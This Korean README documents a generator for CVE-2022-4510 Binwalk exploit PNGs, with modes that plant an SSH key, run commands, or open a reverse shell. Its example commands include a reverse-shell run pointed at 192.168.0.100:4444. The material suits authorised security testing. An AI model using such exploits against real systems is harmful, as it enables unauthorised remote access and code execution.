CVE-2022-4510-Binwalk

이 스크립트는 CVE-2022-4510 Binwalk 취약점을 대상으로 하는 익스플로잇을 생성할 수 있게 해줍니다. 익스플로잇은 테스트 및 시연 목적으로 사용할 수 있습니다. 지원되는 옵션에는 SSH, 명령 실행, 리버스 셸이 포함됩니다.

사전 요구 사항

• Python 3.x

사용 방법

1. 저장소를 클론하거나 스크립트 파일을 다운로드합니다.
2. 원하는 옵션으로 스크립트를 실행합니다. 사용 가능한 옵션은 다음과 같습니다:
   • ssh: SSH용 익스플로잇을 생성합니다.
     • 인자:
       • file: 입력 .png 파일의 경로.
       • pub: 공개 키 파일의 경로.
   • command: 명령 실행용 익스플로잇을 생성합니다.
     • 인자:
       • --command: 실행할 명령.
       • file: 입력 .png 파일의 경로.
   • reverse: 리버스 셸용 익스플로잇을 생성합니다.
     • 인자:
       • file: 입력 .png 파일의 경로.
       • ip: 리스너의 IP 주소.
       • port: 리스너의 포트 번호.

사용 예시:

python exploit_generator.py ssh input.png public_key.pub
python exploit_generator.py command --command "ls -l" input.png
python exploit_generator.py reverse input.png 192.168.0.100 4444

출력

생성된 익스플로잇은 현재 디렉터리에 binwalk_exploit.png로 저장됩니다.

면책 조항

이 스크립트는 책임감 있게, 취약점을 테스트하거나 시연할 권한이 있는 시스템에서만 사용하십시오. 저자는 이 스크립트의 불법 또는 무단 사용에 대해 책임을 지지 않습니다.

참고 자료

https://github.com/electr0sm0g/CVE-2022-4510